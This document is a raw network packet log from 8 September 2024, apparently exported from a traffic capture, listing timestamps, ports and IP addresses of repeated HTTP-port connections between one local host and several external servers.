Sep 8, 2024 08:41:02.687793016 CEST	80	49808	64.70.19.203	192.168.2.5
Sep 8, 2024 08:41:02.687849045 CEST	49808	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:41:02.704785109 CEST	49809	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:02.709692001 CEST	80	49809	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:02.709743023 CEST	49809	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:02.709815025 CEST	49809	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:02.714735985 CEST	80	49809	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:03.196444988 CEST	80	49809	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:03.196495056 CEST	80	49809	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:03.196583986 CEST	49809	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:03.196646929 CEST	49809	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:03.196914911 CEST	49807	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:03.197247982 CEST	49810	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:03.201988935 CEST	80	49807	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:03.202086926 CEST	80	49810	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:03.202101946 CEST	49807	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:03.202156067 CEST	49810	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:03.202294111 CEST	49810	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:03.207847118 CEST	80	49810	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:03.704098940 CEST	80	49810	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:03.704185963 CEST	49810	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:04.026453972 CEST	49811	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:41:04.031291962 CEST	80	49811	45.79.222.138	192.168.2.5
Sep 8, 2024 08:41:04.031374931 CEST	49811	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:41:04.031558037 CEST	49811	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:41:04.036313057 CEST	80	49811	45.79.222.138	192.168.2.5
Sep 8, 2024 08:41:04.543009043 CEST	80	49811	45.79.222.138	192.168.2.5
Sep 8, 2024 08:41:04.543026924 CEST	80	49811	45.79.222.138	192.168.2.5
Sep 8, 2024 08:41:04.543073893 CEST	49811	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:41:04.543107986 CEST	49811	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:41:04.543168068 CEST	49811	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:41:04.543200970 CEST	49811	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:41:04.547857046 CEST	49812	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:04.552671909 CEST	80	49812	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:04.552731991 CEST	49812	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:04.552807093 CEST	49812	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:04.557518005 CEST	80	49812	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:05.053983927 CEST	80	49812	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:05.054318905 CEST	80	49812	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:05.054382086 CEST	49812	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:05.054579020 CEST	49812	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:05.054877043 CEST	49810	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:05.055232048 CEST	49813	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:05.059880972 CEST	80	49810	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:05.059971094 CEST	49810	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:05.059993029 CEST	80	49813	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:05.060122013 CEST	49813	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:05.060260057 CEST	49813	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:05.065073013 CEST	80	49813	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:05.545912981 CEST	80	49813	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:05.546015978 CEST	49813	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:05.787580013 CEST	49814	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:41:05.792454004 CEST	80	49814	88.198.29.97	192.168.2.5
Sep 8, 2024 08:41:05.792534113 CEST	49814	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:41:05.792721033 CEST	49814	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:41:05.796545029 CEST	49815	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:05.797681093 CEST	80	49814	88.198.29.97	192.168.2.5
Sep 8, 2024 08:41:05.797745943 CEST	49814	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:41:05.802659988 CEST	80	49815	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:05.802721024 CEST	49815	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:05.808358908 CEST	49815	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:05.813256025 CEST	80	49815	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:06.304136992 CEST	80	49815	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:06.304169893 CEST	80	49815	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:06.304239988 CEST	49815	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:06.304308891 CEST	49815	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:06.347031116 CEST	49813	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:06.347296000 CEST	49816	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:06.352170944 CEST	80	49816	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:06.352191925 CEST	80	49813	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:06.352247953 CEST	49816	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:06.352284908 CEST	49813	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:06.354023933 CEST	49816	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:06.358822107 CEST	80	49816	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:06.836442947 CEST	80	49816	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:06.836555958 CEST	49816	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:06.973972082 CEST	49817	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:41:06.979351044 CEST	80	49817	64.70.19.203	192.168.2.5
Sep 8, 2024 08:41:06.979432106 CEST	49817	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:41:06.980277061 CEST	49817	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:41:06.984973907 CEST	49818	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:06.985156059 CEST	80	49817	64.70.19.203	192.168.2.5
Sep 8, 2024 08:41:06.985224009 CEST	49817	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:41:06.989856005 CEST	80	49818	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:06.989959002 CEST	49818	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:06.995913029 CEST	49818	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:07.001065969 CEST	80	49818	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:07.473562956 CEST	80	49818	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:07.473602057 CEST	80	49818	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:07.473675013 CEST	49818	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:07.473714113 CEST	49818	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:07.475269079 CEST	49816	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:07.475523949 CEST	49819	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:07.480321884 CEST	80	49819	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:07.480376959 CEST	49819	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:07.480429888 CEST	80	49816	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:07.480469942 CEST	49816	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:07.480962038 CEST	49819	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:07.485738039 CEST	80	49819	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:07.975644112 CEST	80	49819	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:07.975756884 CEST	49819	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:08.541832924 CEST	49820	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:41:08.546618938 CEST	80	49820	45.79.222.138	192.168.2.5
Sep 8, 2024 08:41:08.549304008 CEST	49820	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:41:08.558398008 CEST	49820	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:41:08.562473059 CEST	49821	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:08.563379049 CEST	80	49820	45.79.222.138	192.168.2.5
Sep 8, 2024 08:41:08.563446999 CEST	49820	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:41:08.567249060 CEST	80	49821	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:08.569295883 CEST	49821	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:08.574203014 CEST	49821	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:08.580914021 CEST	80	49821	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:09.069403887 CEST	80	49821	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:09.069428921 CEST	80	49821	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:09.069555044 CEST	49821	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:09.069605112 CEST	49821	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:09.071521997 CEST	49819	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:09.071785927 CEST	49822	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:09.076653004 CEST	80	49822	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:09.076745033 CEST	80	49819	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:09.076857090 CEST	49819	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:09.076873064 CEST	49822	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:09.082654953 CEST	49822	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:09.087517023 CEST	80	49822	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:09.572642088 CEST	80	49822	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:09.572726965 CEST	49822	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:09.708312988 CEST	49823	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:41:09.713320017 CEST	80	49823	64.70.19.203	192.168.2.5
Sep 8, 2024 08:41:09.713430882 CEST	49823	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:41:09.714672089 CEST	49823	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:41:09.719614029 CEST	80	49823	64.70.19.203	192.168.2.5
Sep 8, 2024 08:41:09.719696045 CEST	49823	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:41:09.725208044 CEST	49824	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:09.731291056 CEST	80	49824	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:09.731484890 CEST	49824	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:09.731484890 CEST	49824	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:09.736968040 CEST	80	49824	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:10.216526031 CEST	80	49824	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:10.216701031 CEST	49824	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:10.217103004 CEST	80	49824	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:10.217159033 CEST	49824	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:10.218971014 CEST	49822	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:10.219306946 CEST	49825	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:10.224148035 CEST	80	49822	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:10.224164963 CEST	80	49825	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:10.224222898 CEST	49822	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:10.224246025 CEST	49825	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:10.224431038 CEST	49825	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:10.229238033 CEST	80	49825	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:10.734514952 CEST	80	49825	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:10.734582901 CEST	49825	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:10.861552954 CEST	49826	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:41:10.866420031 CEST	80	49826	64.70.19.203	192.168.2.5
Sep 8, 2024 08:41:10.866528988 CEST	49826	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:41:10.870914936 CEST	49826	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:41:10.874804020 CEST	49827	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:10.875838041 CEST	80	49826	64.70.19.203	192.168.2.5
Sep 8, 2024 08:41:10.875905991 CEST	49826	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:41:10.879703999 CEST	80	49827	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:10.879769087 CEST	49827	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:10.886550903 CEST	49827	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:10.891446114 CEST	80	49827	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:11.362313986 CEST	80	49827	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:11.362469912 CEST	49827	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:11.362674952 CEST	80	49827	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:11.362723112 CEST	49827	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:11.363689899 CEST	49825	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:11.364069939 CEST	49828	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:11.368881941 CEST	80	49825	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:11.368895054 CEST	80	49828	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:11.368954897 CEST	49825	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:11.368988991 CEST	49828	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:11.371989012 CEST	49828	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:11.376900911 CEST	80	49828	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:11.864073992 CEST	80	49828	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:11.864136934 CEST	49828	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:11.999180079 CEST	49829	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:41:12.004021883 CEST	80	49829	64.70.19.203	192.168.2.5
Sep 8, 2024 08:41:12.004115105 CEST	49829	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:41:12.011488914 CEST	49829	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:41:12.015558004 CEST	49830	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:12.017963886 CEST	80	49829	64.70.19.203	192.168.2.5
Sep 8, 2024 08:41:12.018966913 CEST	80	49829	64.70.19.203	192.168.2.5
Sep 8, 2024 08:41:12.019072056 CEST	49829	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:41:12.020497084 CEST	80	49830	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:12.020567894 CEST	49830	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:12.027146101 CEST	49830	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:12.032028913 CEST	80	49830	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:12.511583090 CEST	80	49830	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:12.511713028 CEST	80	49830	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:12.511773109 CEST	49830	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:12.512130022 CEST	49830	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:12.512130022 CEST	49828	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:12.512502909 CEST	49831	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:12.519330025 CEST	80	49831	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:12.519450903 CEST	49831	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:12.519593000 CEST	49831	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:12.519615889 CEST	80	49828	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:12.519661903 CEST	49828	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:12.526319027 CEST	80	49831	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:13.018398046 CEST	80	49831	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:13.018456936 CEST	49831	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:14.679862976 CEST	49832	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:41:14.684730053 CEST	80	49832	88.198.29.97	192.168.2.5
Sep 8, 2024 08:41:14.684818029 CEST	49832	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:41:14.684890032 CEST	49832	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:41:14.688548088 CEST	49833	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:14.689894915 CEST	80	49832	88.198.29.97	192.168.2.5
Sep 8, 2024 08:41:14.690498114 CEST	80	49832	88.198.29.97	192.168.2.5
Sep 8, 2024 08:41:14.690593004 CEST	49832	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:41:14.693372011 CEST	80	49833	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:14.693440914 CEST	49833	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:14.693523884 CEST	49833	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:14.698318958 CEST	80	49833	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:15.177953005 CEST	80	49833	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:15.178136110 CEST	49833	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:15.178195953 CEST	80	49833	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:15.178246975 CEST	49833	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:15.178473949 CEST	49831	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:15.178766966 CEST	49834	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:15.183537006 CEST	80	49834	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:15.183609009 CEST	49834	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:15.183784962 CEST	49834	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:15.183865070 CEST	80	49831	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:15.183909893 CEST	49831	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:15.188556910 CEST	80	49834	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:15.671554089 CEST	80	49834	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:15.671605110 CEST	49834	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:21.380172014 CEST	58490	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:41:21.385209084 CEST	80	58490	88.198.29.97	192.168.2.5
Sep 8, 2024 08:41:21.385287046 CEST	58490	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:41:21.386780024 CEST	58490	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:41:21.392209053 CEST	80	58490	88.198.29.97	192.168.2.5
Sep 8, 2024 08:41:21.392281055 CEST	58490	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:41:21.395004988 CEST	58491	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:21.399852991 CEST	80	58491	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:21.399910927 CEST	58491	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:21.402110100 CEST	58491	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:21.406940937 CEST	80	58491	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:21.912843943 CEST	80	58491	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:21.912868977 CEST	80	58491	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:21.912982941 CEST	58491	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:21.913113117 CEST	58491	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:21.914845943 CEST	49834	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:21.915213108 CEST	58492	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:21.920182943 CEST	80	49834	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:21.920196056 CEST	80	58492	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:21.920306921 CEST	49834	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:21.920365095 CEST	58492	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:21.923556089 CEST	58492	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:21.931395054 CEST	80	58492	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:22.416954041 CEST	80	58492	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:22.417087078 CEST	58492	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:23.960216999 CEST	54705	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:41:23.966375113 CEST	80	54705	45.79.222.138	192.168.2.5
Sep 8, 2024 08:41:23.966442108 CEST	54705	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:41:23.966506958 CEST	54705	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:41:23.971889019 CEST	80	54705	45.79.222.138	192.168.2.5
Sep 8, 2024 08:41:23.971942902 CEST	54705	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:41:24.091052055 CEST	54706	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:24.096023083 CEST	80	54706	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:24.096095085 CEST	54706	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:24.096178055 CEST	54706	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:24.100963116 CEST	80	54706	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:24.588855982 CEST	80	54706	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:24.589215994 CEST	80	54706	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:24.589219093 CEST	54706	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:24.589322090 CEST	54706	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:24.589438915 CEST	58492	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:24.590042114 CEST	54707	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:24.594700098 CEST	80	58492	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:24.594788074 CEST	58492	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:24.594928980 CEST	80	54707	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:24.595041990 CEST	54707	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:24.595186949 CEST	54707	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:24.599942923 CEST	80	54707	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:25.084697962 CEST	80	54707	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:25.084780931 CEST	54707	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:28.824259996 CEST	54707	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:28.829322100 CEST	80	54707	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:28.829411030 CEST	54707	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:31.770900011 CEST	49282	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:41:31.775784016 CEST	80	49282	64.70.19.203	192.168.2.5
Sep 8, 2024 08:41:31.775880098 CEST	49282	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:41:31.777091980 CEST	49282	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:41:31.781532049 CEST	49283	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:31.781966925 CEST	80	49282	64.70.19.203	192.168.2.5
Sep 8, 2024 08:41:31.782040119 CEST	49282	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:41:31.786340952 CEST	80	49283	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:31.786410093 CEST	49283	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:31.786485910 CEST	49283	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:31.791241884 CEST	80	49283	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:32.272655010 CEST	80	49283	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:32.272707939 CEST	80	49283	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:32.272792101 CEST	49283	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:32.272859097 CEST	49283	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:32.275178909 CEST	49284	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:32.279970884 CEST	80	49284	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:32.280041933 CEST	49284	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:32.280921936 CEST	49284	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:32.285744905 CEST	80	49284	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:32.772223949 CEST	80	49284	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:32.773303986 CEST	49284	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:32.913983107 CEST	49285	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:41:32.918859959 CEST	80	49285	88.198.29.97	192.168.2.5
Sep 8, 2024 08:41:32.921392918 CEST	49285	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:41:32.921531916 CEST	49285	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:41:32.925373077 CEST	49286	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:32.926651955 CEST	80	49285	88.198.29.97	192.168.2.5
Sep 8, 2024 08:41:32.926789045 CEST	49285	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:41:32.930257082 CEST	80	49286	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:32.933427095 CEST	49286	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:32.933629990 CEST	49286	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:32.938334942 CEST	80	49286	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:33.413642883 CEST	80	49286	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:33.413669109 CEST	80	49286	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:33.413764954 CEST	49286	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:33.413970947 CEST	49286	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:33.420003891 CEST	49284	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:33.421315908 CEST	49287	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:33.425271034 CEST	80	49284	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:33.425371885 CEST	49284	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:33.426269054 CEST	80	49287	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:33.426352978 CEST	49287	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:33.426673889 CEST	49287	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:33.431418896 CEST	80	49287	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:33.912195921 CEST	80	49287	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:33.912390947 CEST	49287	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:36.299500942 CEST	53511	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:41:36.304364920 CEST	80	53511	64.70.19.203	192.168.2.5
Sep 8, 2024 08:41:36.304496050 CEST	53511	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:41:36.304687977 CEST	53511	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:41:36.309674978 CEST	80	53511	64.70.19.203	192.168.2.5
